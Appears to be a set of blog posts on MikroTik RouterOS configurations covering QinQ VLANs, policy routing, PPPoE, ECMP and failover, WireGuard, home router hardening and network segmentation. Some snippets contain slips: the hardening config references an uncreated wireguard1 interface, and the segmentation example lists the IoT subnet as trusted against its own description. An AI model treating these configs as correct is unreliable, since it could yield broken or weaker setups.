# Mikrotik QinQ VLAN trunking and policy based routing
In my GNS3 home lab, I have extended the VLAN trunking lab to the more interesting VLAN concept of VLAN Q-in-Q or 802.1ad Ethernet standard for Mikrotik devices. It can sound very complicated with the configuration on Cisco's IOS XE networking devices but it is not the case with the mighty Mikrotik's RouterOS.
In this lab, I have to rearrange the connectivity and device config a bit to align with the scenario I want to test. This kind of setup can be very common in the Metro Ethernet networks for tagging the multiple VLANs inside the primary VLAN provisioned by your provider for the uplink to WAN or the internet. Imagine that the ISP has provisioned a VLAN to extend the layer2 network from the provider edge (PE) device to the customer-premises equipment (CPE) in MPLS network. Inside that VLAN, the provider also want to tag additional VLANs to separate the data traffic from the voice traffic in order to cap the bandwidth or perform QoS on the link. The provider can utilise the IEEE 802.1ad or QinQ VLAN trunking (basically IEEE 802.1q inside the IEEE 802.1q) on Mikrotik devices. Sometimes people refer it as 802.1q tunneling in Cisco networking.
Additionally, the policy based routing has to be implemented on CPE to handle the downstream LANs for routing.
## Prerequisites
* GNS3 Emulator
* Mikrotik CHR appliance setup on GNS3
* Mikrotik RouterOS version 7.7
* Basic level of comfortableness with Mikrotik RouterOS CLI and GNS3 setup
## Network Topology
Mikrotik QinQ VLAN trunking
* Provider edge (PE) router - PE is a provider's router provisioned in its core network to provide MPLS WAN connectivity or the internet service to end customers
* Customer-premises equipment (CPE) router - CPE is a router or L3 switch installed at customer site to terminate the connectivity for MPLS or the internet service.
* Switch (SW) - SW is a Layer2 switch to distribute the connectivity among different tenants at the same apartment or office compound.
* Customer1 - PC1 is a customer who only subscribe for data service.
* Customer2 - PC2 is a customer who only subscribe for voice service.
### Configuration
#### PE router config
Here is the full configuraiton for PE router in the topoloy.
```
# Interface ether2 with cust1's VLAN 600 is the backbone uplink for connectivity.
# Inside the cust1 VLAN 600, data VLAN 100 and voice VLAN 200 are provisioned.
/interface vlan
add interface=ether2 name=cust1 vlan-id=600
add interface=cust1 name=cust1_data vlan-id=100
add interface=cust1 name=cust1_voice vlan-id=200
# Assign relevant ip address and its subnet for each VLAN
/ip address
add address=10.10.10.1/30 interface=cust1_data network=10.10.10.0
add address=10.20.20.1/30 interface=cust1_voice network=10.20.20.0
# Configure dhcp-client on ether1 for internet breakout
/ip dhcp-client
add interface=ether1
# Setup masquerade NAT firewall rule for internet breakout from this topology
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1
# Set the system name to pe
/system identity
set name=pe
```
Note that the cust1\_data and cust1\_voice VLANs are nested to the backbone uplink VLAN 600 as configured on PE.
#### CPE router config
Here is the full configuration for CPE router.
```
# Create two VLANs 10 and 20 for downstream to separate lan1 from lan2
# Tag VLAN 600 at receiving end as wan for backbone uplink
# Then VLAN 100 and 200 are stacked inside VLAN 600 to separate data from voice traffic
/interface vlan
add interface=ether2 name=lan1 vlan-id=10
add interface=ether2 name=lan2 vlan-id=20
add interface=ether1 name=wan vlan-id=600
add interface=wan name=data vlan-id=100
add interface=wan name=voice vlan-id=200
# Create ip pool for DHCP scope for lan1 and lan2
/ip pool
add name=lan1 ranges=192.168.10.2-192.168.10.254
add name=lan2 ranges=192.168.20.2-192.168.20.254
# Setup DHCP server for lan1 and lan2
/ip dhcp-server
add address-pool=lan1 interface=lan1 name=dhcp1
add address-pool=lan2 interface=lan2 name=dhcp2
# Assign ip addresses for downstream and upstream links' VLANs
/ip address
add address=192.168.10.1/24 interface=lan1 network=192.168.10.0
add address=192.168.20.1/24 interface=lan2 network=192.168.20.0
add address=10.10.10.2/30 interface=data network=10.10.10.0
add address=10.20.20.2/30 interface=voice network=10.20.20.0
# Disable default dhcp-client on ether1
/ip dhcp-client
add disabled=yes interface=ether1
# Configure DHCP network parameters for DHCP servers
/ip dhcp-server network
add address=192.168.10.0/24 dns-server=1.1.1.1 gateway=192.168.10.1
add address=192.168.20.0/24 dns-server=8.8.8.8 gateway=192.168.20.1
# Implement a firewall filter rule to segregate two LANs at downstream
/ip firewall filter
add action=drop chain=forward dst-address=192.168.20.0/24 src-address=192.168.10.0/24
# Configure masquerade NAT rules for internet breakout at lan1 and lan2
/ip firewall nat
add action=masquerade chain=srcnat out-interface=data src-address=192.168.10.0/24
add action=masquerade chain=srcnat out-interface=voice src-address=192.168.20.0/24
# Create 2 policy routing tables
/routing table
add name=data_table fib
add name=voice_table fib
# Create a policy routing rule for each routing table based on src-address
/routing rule
add action=lookup-only-in-table src-address=192.168.10.0/24 table=data_table
add action=lookup-only-in-table src-address=192.168.20.0/24 table=voice_table
# Configure default static routes for data and voice networks with policy routing
/ip route
add dst-address=0.0.0.0/0 gateway=10.10.10.1@main routing-table=data_table
add dst-address=0.0.0.0/0 gateway=10.20.20.1@main routing-table=voice_table
# Set the system name to cpe
/system identity
set name=cpe
```
As shown above, it is not that difficult to understand what is going on with QinQ VLAN trunking between upstream and downstream to manage two types of traffics on CPE. And policy based routing is required for handling two downstream LANs routing.
#### SW switch config
Here is the full configuration for SW switch device shown in the topology.
```
# Create a bridge with vlan filtering enabled
/interface bridge
add name=sw-br vlan-filtering=yes
# Assign ether1 (trunk port) to the bridge
# Then assign ether2 with vlan 10 and ether3 with vlan 20 taggings to the same bridge
/interface bridge port
add bridge=sw-br interface=ether1
add bridge=sw-br interface=ether2 pvid=10
add bridge=sw-br interface=ether3 pvid=20
# Configure VLANs tagging and untagging for VLAN 10 and VLAN 20 on the bridge
/interface bridge vlan
add bridge=sw-br tagged=ether1 untagged=ether2 vlan-ids=10
add bridge=sw-br tagged=ether1 untagged=ether3 vlan-ids=20
# Disable default dhcp-client on ether1
/ip dhcp-client
add disabled=yes interface=ether1
# Set the system name to sw
/system identity
set name=sw
```
### Testing
#### Customer 1 (PC1) - data subscriber test
```
PC1> dhcp
DORA IP 192.168.10.254/24 GW 192.168.10.1
PC1> show ip
NAME : PC1[1]
IP/MASK : 192.168.10.254/24
GATEWAY : 192.168.10.1
DNS : 1.1.1.1
DHCP SERVER : 192.168.10.1
DHCP LEASE : 596, 600/300/525
MAC : 00:50:79:66:68:00
LPORT : 10058
RHOST:PORT : 127.0.0.1:10059
MTU : 1500
PC1> ping google.com
google.com resolved to 142.250.70.142
84 bytes from 142.250.70.142 icmp_seq=1 ttl=57 time=5.175 ms
84 bytes from 142.250.70.142 icmp_seq=2 ttl=57 time=4.816 ms
84 bytes from 142.250.70.142 icmp_seq=3 ttl=57 time=5.297 ms
84 bytes from 142.250.70.142 icmp_seq=4 ttl=57 time=4.991 ms
84 bytes from 142.250.70.142 icmp_seq=5 ttl=57 time=5.341 ms
PC1> ping 192.168.20.254
192.168.20.254 icmp_seq=1 timeout
192.168.20.254 icmp_seq=2 timeout
192.168.20.254 icmp_seq=3 timeout
192.168.20.254 icmp_seq=4 timeout
192.168.20.254 icmp_seq=5 timeout
```
#### Customer 2 (PC2) - voice subscriber test
```
PC2> dhcp
DORA IP 192.168.20.254/24 GW 192.168.20.1
PC2> show ip
NAME : PC2[1]
IP/MASK : 192.168.20.254/24
GATEWAY : 192.168.20.1
DNS : 8.8.8.8
DHCP SERVER : 192.168.20.1
DHCP LEASE : 597, 600/300/525
MAC : 00:50:79:66:68:01
LPORT : 10060
RHOST:PORT : 127.0.0.1:10061
MTU : 1500
PC2> ping google.com
google.com resolved to 142.250.70.142
84 bytes from 142.250.70.142 icmp_seq=1 ttl=57 time=4.362 ms
84 bytes from 142.250.70.142 icmp_seq=2 ttl=57 time=5.253 ms
84 bytes from 142.250.70.142 icmp_seq=3 ttl=57 time=6.872 ms
84 bytes from 142.250.70.142 icmp_seq=4 ttl=57 time=5.332 ms
84 bytes from 142.250.70.142 icmp_seq=5 ttl=57 time=4.506 ms
PC2> ping 192.168.10.254
192.168.10.254 icmp_seq=1 timeout
192.168.10.254 icmp_seq=2 timeout
192.168.10.254 icmp_seq=3 timeout
192.168.10.254 icmp_seq=4 timeout
192.168.10.254 icmp_seq=5 timeout
```
# Mikrotik Use Cases - PPPoE, ECMP, Failover, Recursive Routing and WireGuard
Mikrotik's RouterOS is a very versatile platform for all sorts of possible network setup scenarios in both carrier and enterprise environments. As long as the appropriate Mikrotik harward devices are used in the design, the capability of its platform is unlimited unlike other networking giants. It is even getting better with the latest and greatest version of its RouterOS 7.\*. Although the syntax can be a bit painful to adapt for the Mikrotik CLI veterans, it is still worth it to get the latest features like WireGuard, ZeroTier, etc., on the receiving end. For instance, most of the new Mikrotik platforms lately come with ARM 32 and 64 bit CPU architecture to have more advanced features like containerisation in the box. It is quite ambitious to implement all the bleeding edge features in the RouterOS but I quite appreciate their adventurous spirit of "can do" attitude towards the very old fashioned industry of networking.
In this article, I have been setting up a GNS3 lab to experiment its RouterOS 7.7 features as well as an attempt to keep my rusty networking skills to be refreshed. There are a few use cases I have been wanting to test on this lab as listed below.
* PPPoE server and client configuration
* ECMP configuration for multi-WAN connections
* Failover WAN
* Recursive routing in simple setup
* WireGuard setup for site-to-site VPN
## Prerequisites
* GNS3 Emulator
* Mikrotik CHR appliance setup on GNS3
* Mikrotik RouterOS version 7.7
* Basic level of comfortableness with Mikrotik RouterOS CLI and GNS3 setup
* Basic understanding of VPN tunneling and WireGuard in general
## Network Topology
Mikrotik Use Cases - PPPoE, ECMP, Recursive Routing and WireGuard
* One core router "core" to simulate the internet backbone/core connected to NAT1 for the internet breakout connection.
* Two ISP routers "isp1" and "isp2" to simulate the ISP's PPPoE servers on the providers' end.
* Three customer routers "mtr1", "mtr2" and "mtr3" to simulate the enterprise customers' end. "mtr2" is especially used for ECMP and Recursive Routing since it is connected to both "isp1" and "isp2" routers.
* Behind each mtr router, it has various LAN subnets for PCs.
### Configuration
#### Core router config
Here is the full configuration and its description of "core" router
```
# Assign the static IP addresses for both downstream isp1 and isp2 routers
/ip address
add address=123.1.1.1/30 interface=ether2 network=123.1.1.0
add address=123.1.1.5/30 interface=ether3 network=123.1.1.4
# Configure ether1 as dhcp-client interface (default)
/ip dhcp-client
add interface=ether1
# Configure masquerade NAT firewall rule for the internet breakout
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1
# Configure the static routes to both isp1's and isp2's downstream links towards end customers
/ip route
add dst-address=121.0.0.0/24 gateway=123.1.1.2
add dst-address=122.0.0.0/24 gateway=123.1.1.6
# Set the system name to core
/system identity
set name=core
```
#### ISP routers config
Both isp1 and isp2 routers config and its description can be found in the below code snippets.
Here is how I configure the isp1 router.
```
# Create a new bridge "pppoe-bridge" to serve multiple customers
/interface bridge
add name=pppoe-bridge
# Create an IP pool for PPPoE server
/ip pool
add name=pppoe-pool ranges=121.0.0.2-121.0.0.254
# Set ppp profile for PPPoE server for its required parameters
/ppp profile
add local-address=121.0.0.1 name=pppoe-server remote-address=pppoe-pool
# Add the ports ether2 and ether3 to newly created pppoe-bridge
/interface bridge port
add bridge=pppoe-bridge interface=ether2
add bridge=pppoe-bridge interface=ether3
# Configure pppoe-server interface with its profile and bridge interface
/interface pppoe-server server
add default-profile=pppoe-server disabled=no interface=pppoe-bridge service-name=pppoe-service
# Configure the static IP address to ether1 for upstream connection
/ip address
add address=123.1.1.2/30 interface=ether1 network=123.1.1.0
# Disable the default dhcp-client config on ether1
/ip dhcp-client
add disabled=yes interface=ether1
# Configure masquerade NAT firewall rule for the internet breakout
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1
# Configure the static route to upstream core router
/ip route
add dst-address=0.0.0.0/0 gateway=123.1.1.1
# Create two PPPoE user accounts associating to its relevant PPPoE server profile
/ppp secret
add name=isp1user1 password=isp1user1 profile=pppoe-server service=pppoe
add name=isp1user2 password=isp1user2 profile=pppoe-server service=pppoe
# Set system name to isp1
/system identity
set name=isp1
```
Here is how I configure the isp2 router.
```
# Create a new bridge "pppoe-bridge" to serve multiple customers
/interface bridge
add name=pppoe-bridge
# Create an IP pool for PPPoE server
/ip pool
add name=pppoe-pool ranges=122.0.0.2-122.0.0.254
# Set ppp profile for PPPoE server for its required parameters
/ppp profile
add local-address=122.0.0.1 name=pppoe-server remote-address=pppoe-pool
# Add the ports ether2 and ether3 to newly created pppoe-bridge
/interface bridge port
add bridge=pppoe-bridge interface=ether2
add bridge=pppoe-bridge interface=ether3
# Configure pppoe-server interface with its profile and bridge interface
/interface pppoe-server server
add default-profile=pppoe-server disabled=no interface=pppoe-bridge service-name=pppoe-service
# Configure the static IP address to ether1 for upstream connection
/ip address
add address=123.1.1.6/30 interface=ether1 network=123.1.1.4
# Disable the default dhcp-client config on ether1
/ip dhcp-client
add disabled=yes interface=ether1
# Configure masquerade NAT firewall rule for the internet breakout
/ip firewall nat
add action=masquerade chain=srcnat out-interface=ether1
# Configure the static route to upstream core router
/ip route
add dst-address=0.0.0.0/0 gateway=123.1.1.5
# Create two PPPoE user accounts associating to its relevant PPPoE server profile
/ppp secret
add name=isp2user1 password=isp2user1 profile=pppoe-server service=pppoe
add name=isp2user2 password=isp2user2 profile=pppoe-server service=pppoe
# Set system name to isp1
/system identity
set name=isp2
```
#### Customer routers config
Note that both mtr1 and mtr3 configs are very similar but mtr2 is configured quite differently since it is connected to both isp1 and isp2 routers for upstream internet connection.
Here is the full mtr1 router configuration wtih PPPoE Client and WireGuard site-to-site VPN setup.
```
# Create a new bridge "lan-bridge" to serve the customer LAN
/interface bridge
add name=lan-bridge
# Configure PPPoE-client with its assigned useranme and password
# Note that add-default-route parameter is set to yes which creates a dynamic default route
/interface pppoe-client
add add-default-route=yes disabled=no interface=ether1 name=pppoe-out \
service-name=pppoe-service user=isp1user1 password=isp1user1
# Configure WireGuard interface
/interface wireguard
add listen-port=13231 mtu=1420 name=wireguard1
# Create an IP Pool for DHCP server to serve its LAN
/ip pool
add name=dhcp1 ranges=192.168.1.200-192.168.1.254
# Configure the DHCP server
/ip dhcp-server
add address-pool=dhcp1 interface=lan-bridge name=dhcp1
# Add ether6,7 and 8 port to lan-bridge
/interface bridge port
add bridge=lan-bridge interface=ether6
add bridge=lan-bridge interface=ether7
add bridge=lan-bridge interface=ether8
# Configure WireGuard peers mtr3 to initiate the VPN tunnel
/interface wireguard peers
add allowed-address=10.0.0.2/32,192.168.3.0/24 endpoint-address=122.0.0.253 \
endpoint-port=13231 persistent-keepalive=25s interface=wireguard1 \
public-key="wFKr1GSkYTcXLLeyAnlG3Qe1c3TLqycB9Lwkgqbu3DM="
# Assign IP addresses for lan-bridge and WireGuard interfaces
/ip address
add address=192.168.1.1/24 interface=lan-bridge network=192.168.1.0
add address=10.0.0.1/30 interface=wireguard1 network=10.0.0.0
# Disable dhcp-client on ether1 (default)
/ip dhcp-client
add disabled=yes interface=ether1
# Configure DHCP server network paramenters
/ip dhcp-server network
add address=192.168.1.0/24 dns-server=1.1.1.1 gateway=192.168.1.1
# Configure masquerade NAT firewall rule for the internet breakout
/ip firewall nat
add action=masquerade chain=srcnat out-interface=pppoe-out
# Configure firewall filter rules to allow wireguard inbound and pass-thru traffic
/ip firewall filter
add action=accept chain=input dst-port=13231 protocol=udp src-address=122.0.0.254
add action=accept chain=forward dst-address=192.168.3.0/24 src-address=192.168.1.0/24
add action=accept chain=forward dst-address=192.168.1.0/24 src-address=192.168.3.0/24
# Configure a static route to mtr3's LAN network thru wireguard1 interface
/ip route
add dst-address=192.168.3.0/24 gateway=wireguard1
# Set system name to mtr1
/system identity
set name=mtr1
```
A couple of facts about mtr1 router setup - it uses the PPPoE accounts isp1user1 created on isp1 router and it has been assumed to have a dynamic IP address assigned by its ISP so it has to initiate the WireGuard VPN connection to the other end mtr3 which has a static IP address assigned by its ISP. Note that the allowed-address is used to allow the WireGuard interface IP and LAN IP range on the other side of its tunnel. The endpoint-address is for the public IP address of mtr3.
Here is the full mtr2 router configuration wtih ECMP for multi-home PPPoE connections.
```
# Create a new bridge "lan-bridge" to serve the customer LAN
/interface bridge
add name=lan-bridge
# Configure both PPPoE connections with its assgined PPPoE accounts
# Note that both PPPoE client configs have add-default-route set to yes which creates
# dynamic default routes with same distance value. ECMP is in effect by this stage.
/interface pppoe-client
add add-default-route=yes disabled=no interface=ether1 name=pppoe-out \
service-name=pppoe-service user=isp1user2 password=isp1user2
add add-default-route=yes disabled=no interface=ether2 name=pppoe-out1 \
service-name=pppoe-service user=isp2user2 password=isp2user2
# Create an IP Pool for DHCP server to serve its LAN
/ip pool
add name=dhcp1 ranges=192.168.2.200-192.168.2.254
# Configure the DHCP server
/ip dhcp-server
add address-pool=dhcp1 interface=lan-bridge name=dhcp1
# Add ether6,7 and 8 port to lan-bridge
/interface bridge port
add bridge=lan-bridge interface=ether6
add bridge=lan-bridge interface=ether7
add bridge=lan-bridge interface=ether8
# Assign IP addresses for lan-bridge interface
/ip address
add address=192.168.2.1/24 interface=lan-bridge network=192.168.2.0
# Disable dhcp-client on ether1 (default)
/ip dhcp-client
add disabled=yes interface=ether1
# Configure DHCP server network paramenters
/ip dhcp-server network
add address=192.168.2.0/24 dns-server=1.0.0.1 gateway=192.168.2.1
# Configure masquerade NAT firewall rules for the internet breakouts
/ip firewall nat
add action=masquerade chain=srcnat out-interface=pppoe-out
add action=masquerade chain=srcnat out-interface=pppoe-out1
# Set system name to mtr2
/system identity
set name=mtr2
```
Instead of ECMP, mtr2 can be also configured as failover WAN connection between two PPPoE connections as below.
```
# Configure both PPPoE connections with its assgined PPPoE accounts
# Note that both PPPoE client configs don't have add-default-route set to yes which
# requires to create the static routes to each PPPoE connection with different distances.
/interface pppoe-client
add disabled=no interface=ether1 name=pppoe-out service-name=pppoe-service user=isp1user2 password=isp1user2
add disabled=no interface=ether2 name=pppoe-out1 service-name=pppoe-service user=isp2user2 password=isp2user2
# Set isp1 as the primary default gateway and isp2 as the secondary for failover WAN
/ip route
add disabled=no dst-address=0.0.0.0/0 gateway=pppoe-out
add disabled=no distance=2 dst-address=0.0.0.0/0 gateway=pppoe-out1
```
For recursive routing, ensure that mtr2 is pingable to Google 8.8.8.8 and Cloudflare 1.1.1.1 first then start configuring the routes as below.
```
# Configure both PPPoE connections with its assgined PPPoE accounts
# Note that both PPPoE client configs don't have add-default-route set to yes which
# requires to create the static routes to each PPPoE connection with different distances.
/interface pppoe-client
add disabled=no interface=ether1 name=pppoe-out service-name=pppoe-service user=isp1user2 password=isp1user2
add disabled=no interface=ether2 name=pppoe-out1 service-name=pppoe-service user=isp2user2 password=isp2user2
# Configure recursive routing with 8.8.8.8 and 1.1.1.1 on both PPPoE connections
/ip route
add check-gateway=ping dst-address=0.0.0.0/0 gateway=1.1.1.1 target-scope=11
add check-gateway=ping distance=2 dst-address=0.0.0.0/0 gateway=8.8.8.8 target-scope=11
add check-gateway=none dst-address=1.1.1.1 gateway=pppoe-out scope=10
add check-gateway=none dst-address=8.8.8.8 gateway=pppoe-out1 scope=10
```
The recursive routing is very useful when both of its immediate links to upstream from mtr2 are up but the reachability to the internet is broken due to disconnect or malfunction at the links between core and isp routers. Note that check-gateway parameter is set to ping for the first two routes for ping reachability check on each link.
Here is how I configure mtr3 for its PPPoE client configuration and site-to-site WireGuard VPN conection.
```
# Create a new bridge "lan-bridge" to serve the customer LAN
/interface bridge
add name=lan-bridge
# Configure PPPoE-client with its assigned useranme and password
# Note that add-default-route parameter is set to yes which creates a dynamic default route
/interface pppoe-client
add add-default-route=yes disabled=no interface=ether1 name=pppoe-out \
service-name=pppoe-service user=isp2user1 password=isp2user1
# Configure WireGuard interface
/interface wireguard
add listen-port=13231 mtu=1420 name=wireguard1
# Create an IP Pool for DHCP server to serve its LAN
/ip pool
add name=dhcp1 ranges=192.168.3.200-192.168.3.254
# Configure the DHCP server
/ip dhcp-server
add address-pool=dhcp1 interface=lan-bridge name=dhcp1
# Add ether6,7 and 8 port to lan-bridge
/interface bridge port
add bridge=lan-bridge interface=ether6
add bridge=lan-bridge interface=ether7
add bridge=lan-bridge interface=ether8
# Configure WireGuard peers mtr3 to initiate the VPN tunnel
# Note that it doesn't have endpoint address and port configured
/interface wireguard peers
add allowed-address=10.0.0.1/32,192.168.1.0/24 interface=wireguard1 \
persistent-keepalive=25s public-key="c/RL12ckSwJWK/LN8IrgP+lP6Yggb6hhczY4jztKfE8="
# Assign IP addresses for lan-bridge and WireGuard interfaces
/ip address
add address=192.168.3.1/24 interface=lan-bridge network=192.168.3.0
add address=10.0.0.2/30 interface=wireguard1 network=10.0.0.0
# Disable dhcp-client on ether1 (default)
/ip dhcp-client
add disabled=yes interface=ether1
# Configure DHCP server network paramenters
/ip dhcp-server network
add address=192.168.3.0/24 dns-server=8.8.8.8 gateway=192.168.3.1
# Configure masquerade NAT firewall rule for the internet breakout
/ip firewall nat
add action=masquerade chain=srcnat out-interface=pppoe-out
# Configure firewall filter rules to allow wireguard inbound and pass-thru traffic
/ip firewall filter
add action=accept chain=input dst-port=13231 protocol=udp src-address=121.0.0.254
add action=accept chain=forward dst-address=192.168.1.0/24 src-address=192.168.3.0/24
add action=accept chain=forward dst-address=192.168.3.0/24 src-address=192.168.1.0/24
# Configure a static route to mtr1's LAN network thru wireguard1 interface
/ip route
add dst-address=192.168.1.0/24 gateway=wireguard1
# Set system name to mtr3
/system identity
set name=mtr3
```
With the configs on both mtr1 and mtr3, LAN from each side should have the connectivity to the other side via WireGuard site-to-site VPN tunnel.
# Mikrotik RouterOS Hardening for your home internet connection
The price point of Mikrotik hAP devices are quite reasonable and fair compared to any major off the shelf brands like Netgear, TP-Link, D-Link, etc., Therefore, I have been deploying Mikrotik devices for friends and family for home internet connection. It is a kind of overkill for home router to be managed and maintained but there are many ways to do it properly if you know how to use the RouterOS. The [Mikrotik Pro](https://play.google.com/store/apps/details?id=com.mikrotik.android.tikapp\&hl=en\&gl=US\&pli=1) mobile app is one of the easy ways to remote access and administer the Mikrotik hAP devices.
Over the past couple of years, I have been researching and experimenting on how to secure the Mikrotik devices for the normal home users. So here is the best configuration I can think of to harden the Mikrotik hAP devices for home internet connections. I know that Mikrotik hAP devices come with default configuration out of the box but I guess it is not good enough.
## Prerequisites
* Mikrotik RouterOS version 7.8
* Basic level of comfortableness with Mikrotik RouterOS CLI
## Configuration
Here is the full configuraiton of Mikrotik hAP device with its hardening parts in it.
```
# Create LAN side bridge interface
/interface bridge
add name=lan
# Name the ether1 as wan
/interface ethernet
set [ find default-name=ether1 ] name=wan
# Create lists for LAN and WAN so that it can referenced easily in other parts.
/interface list
add name=WAN
add name=LAN
# Create a wireless security profile for wifi SSID
/interface wireless security-profiles
add authentication-types=wpa-psk,wpa2-psk management-protection=allowed \
mode=dynamic-keys name=wifi wpa2-pre-shared-key="wifi-password"
# Configure the wifi SSID and its associated security profile
# Note that there are a few configs that need to be noticed
# First, antenna-gain is set to 0 for more efficient and long range wifi connection
# Second, the SSID is hidden for better security
# Third, installation is set to indoor and country is set to australia
/interface wireless
set [ find default-name=wlan1 ] antenna-gain=0 band=2ghz-g/n channel-width=20/40mhz-XX \
country=australia disabled=no frequency=auto hide-ssid=yes \
installation=indoor mode=ap-bridge security-profile=wifi \
ssid=2ghz-wifi wireless-protocol=802.11
set [ find default-name=wlan2 ] antenna-gain=0 band=5ghz-n/ac channel-width=20/40/80mhz-XXXX \
country=australia disabled=no frequency=auto hide-ssid=yes \
installation=indoor mode=ap-bridge security-profile=wifi \
ssid=5ghz-wifi wireless-protocol=802.11
# Configure IP Pool and DHCP server for LAN side
/ip pool
add name=dhcp ranges=192.168.233.100-192.168.233.254
/ip dhcp-server
add address-pool=dhcp interface=lan name=dhcp1
/ip dhcp-server network
add address=192.168.233.0/24 dns-server=1.1.1.2,1.0.0.2 gateway=192.168.233.1 netmask=24
# Configure PPPoE-client to authenticate against ISP server
/interface pppoe-client
add add-default-route=yes disabled=no interface=wan name=pppoe-out1 \
profile=default-encryption user=user1@goodisp.com.au password="passwd" \
keepalive-timeout=10 add-default-route=yes default-route-distance=1 \
dial-on-demand=no use-peer-dns=no allow=pap,chap,mschap1,mschap2
# Add relevant interfaces to lan bridge
/interface bridge port
add bridge=lan ingress-filtering=no interface=ether2
add bridge=lan ingress-filtering=no interface=ether3
add bridge=lan ingress-filtering=no interface=ether4
add bridge=lan ingress-filtering=no interface=ether5
add bridge=lan ingress-filtering=no interface=wlan2
add bridge=lan ingress-filtering=no interface=wlan1
# Add relevant interfaces to interface list
/interface list member
add interface=wan list=WAN
add interface=lan list=LAN
add interface=pppoe-out1 list=WAN
# Configure interface IP addresses
/ip address
add address=192.168.233.1/24 interface=lan network=192.168.233.0
add address=172.16.1.1/30 interface=wireguard1 network=172.16.1.0
# Disable default DHCP cleint config on ether1 or wan interface
/ip dhcp-client
add disabled=yes interface=wan
# Configure DNS
/ip dns
set allow-remote-requests=yes servers=1.1.1.2,1.0.0.2
# Configure firewall filter rules
/ip firewall address-list
add address=192.168.233.0/24 list=lan
/ip firewall filter
add action=drop chain=input comment="drop invalid to router" connection-state=invalid
add action=drop chain=forward comment="drop invalid packets" connection-state=invalid
add action=fasttrack-connection chain=forward comment=fasttrack connection-state=established,related hw-offload=yes
add action=accept chain=forward comment="accept established and related" connection-state=established,related
add action=accept chain=input comment="allow icmp from lan" protocol=icmp src-address-list=lan
add action=accept chain=input comment="allow winbox from lan" dst-port=8291 protocol=tcp src-address-list=lan
add action=accept chain=input comment="allow ssh from lan" dst-port=22 protocol=tcp src-address-list=lan
add action=accept chain=input comment="allow returning and related traffic" connection-state=established,related
add action=drop chain=input comment="drop all other input"
# Configure source NAT masquerade for the internet breakout
/ip firewall nat
add action=masquerade chain=srcnat out-interface=pppoe-out1 src-address=192.168.233.0/24
# Disable the service ports not in use
/ip firewall service-port
set ftp disabled=yes
set tftp disabled=yes
set h323 disabled=yes
set sip disabled=yes
set pptp disabled=yes
# Disable the ip services not in use and restrict the source addresses for ssh and winbox
/ip service
set telnet disabled=yes
set ftp disabled=yes
set www disabled=yes
set ssh address=192.168.233.0/24,123.0.0.231/32
set api disabled=yes
set winbox address=192.168.233.0/24,123.0.0.231/32
set api-ssl disabled=yes
# Set the correct timezone
/system clock
set time-zone-autodetect=no time-zone-name=Australia/Darwin
# Set the system name
/system identity
set name=mtr01
# Set NTP client and configure with desired NTP servers IP
/system ntp client
set enabled=yes
/system ntp client servers
add address=129.250.35.250
add address=129.250.35.251
# To trigger a notification email upon startup in case of device rebooting
/system scheduler
add name=reboot_report on-event=":delay 60\r\
\n/tool e-mail send to=tyla@email.com subject=\"mtr01: router has\
\_been reboot at home!\" body=\"The mtr01 router has been r\
eboot at home!\"" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-time=startup
# Disable bandwidth-server
/tool bandwidth-server
set enabled=no
# Configure SMTP server for emailing notification
/tool e-mail
set address=smtp.goodisp.com.au from=mtr01@email.com
# Restrict the layer2 MAC-server access from LAN interface list only
/tool mac-server
set allowed-interface-list=LAN
/tool mac-server mac-winbox
set allowed-interface-list=LAN
# Monitor the internal host on LAN side with PING status
/tool netwatch
add disabled=no down-script="/tool e-mail send to=tyla@email.com subject=\
\"srv01: PING is down at home!\" body=\"The srv01 host's PING is down at home!\"" \
host=192.168.233.233 http-codes="" interval=30m test-script="" timeout=5s type=icmp up-script=""
```
As you can see in the above configuration, it can be secured by using firewall filter rule and disabling the unused services as well as automated to do some checks for internal devices in LAN and device reboot status. In fact, there are more interesting things you can do with Mikrotik built-in scripting engine for maintenance like updating the packages and upgrading the firmware at night.
# Evolution of my home network with Mikrotik RouterOS v7
I have been using MikroTik as my home Wi-Fi router platform for a long time, ever since I discovered there was a better and more affordable way to build a capable home network. Before that, I relied on the generic routers provided by my ISP, followed by the usual off-the-shelf consumer devices from TP-Link, D-Link, and Netgear. They were fine for basic home use, but the features were fairly limited when it came to building a more advanced network setup. At the time, my network was just a simple flat topology with a few awkward port-forwarding rules for services like OpenVPN and Plex Media Server.
When I first started using the tiny hAP ac router from MikroTik running RouterOS, I was genuinely surprised by how many enterprise-like features were packed into such a small and affordable device. It quickly became the perfect platform for my home lab and all the networking projects I liked experimenting with in my spare time.
That said, getting started was not easy. Even basic tasks, such as setting up a DHCP server in RouterOS, felt overwhelming at first. Most consumer routers come with these essentials pre-configured, so average home users rarely need to think about the underlying details. Although RouterOS includes a Quick Set wizard, I only used it occasionally during my early days with MikroTik while experimenting and learning how everything worked under the hood.
As I became more familiar with the RouterOS syntax and configuration style, managing network segmentation for different device groups such as IoT devices, security cameras, and printers became much easier and more straightforward. To keep the network design clean and simple, I initially used separate bridges for each network segment, each with its own dedicated DHCP server configuration, as shown below. I also implemented firewall filtering rules between the networks to control traffic flow and improve security, ensuring that untrusted devices could not freely communicate with trusted systems while still allowing access to essential services where required.
```
/interface bridge
add comment="Security Camera Bridge" name=cam port-cost-mode=short
add comment="IoT Bridge" name=iot port-cost-mode=short
add comment="LAN Bridge" name=lan port-cost-mode=short
/ip pool
add comment="Secure LAN IP Pool" name=lan ranges=10.0.0.100-10.0.0.200
add comment="All unsecure and IoT devices IP Pool" name=iot ranges=10.10.0.100-10.10.0.200
add comment="Security cameras IP Pool" name=cam ranges=10.20.0.100-10.20.0.200
/ip dhcp-server
add address-pool=lan interface=lan lease-time=1d name=lan
add address-pool=iot interface=iot lease-time=1d name=iot
add address-pool=cam interface=cam lease-time=1d name=cam
/ip dhcp-server network
add address=10.0.0.0/24 dns-server=1.1.1.1,1.0.0.1 gateway=10.0.0.1
add address=10.10.0.0/24 dns-server=1.1.1.1,1.0.0.1 gateway=10.10.0.1
add address=10.20.0.0/24 dns-server=1.1.1.1,1.0.0.1 gateway=10.20.0.1
/ip firewall address-list
add address=10.0.0.0/24 list=trusted
add address=10.10.0.0/24 list=trusted
add address=10.20.0.0/24 list=untrusted
/ip firewall filter
add action=accept chain=forward connection-state=established,related
add action=drop chain=forward dst-address-list=trusted src-address-list=untrusted
add action=drop chain=forward dst-address-list=untrusted src-address-list=untrusted
```
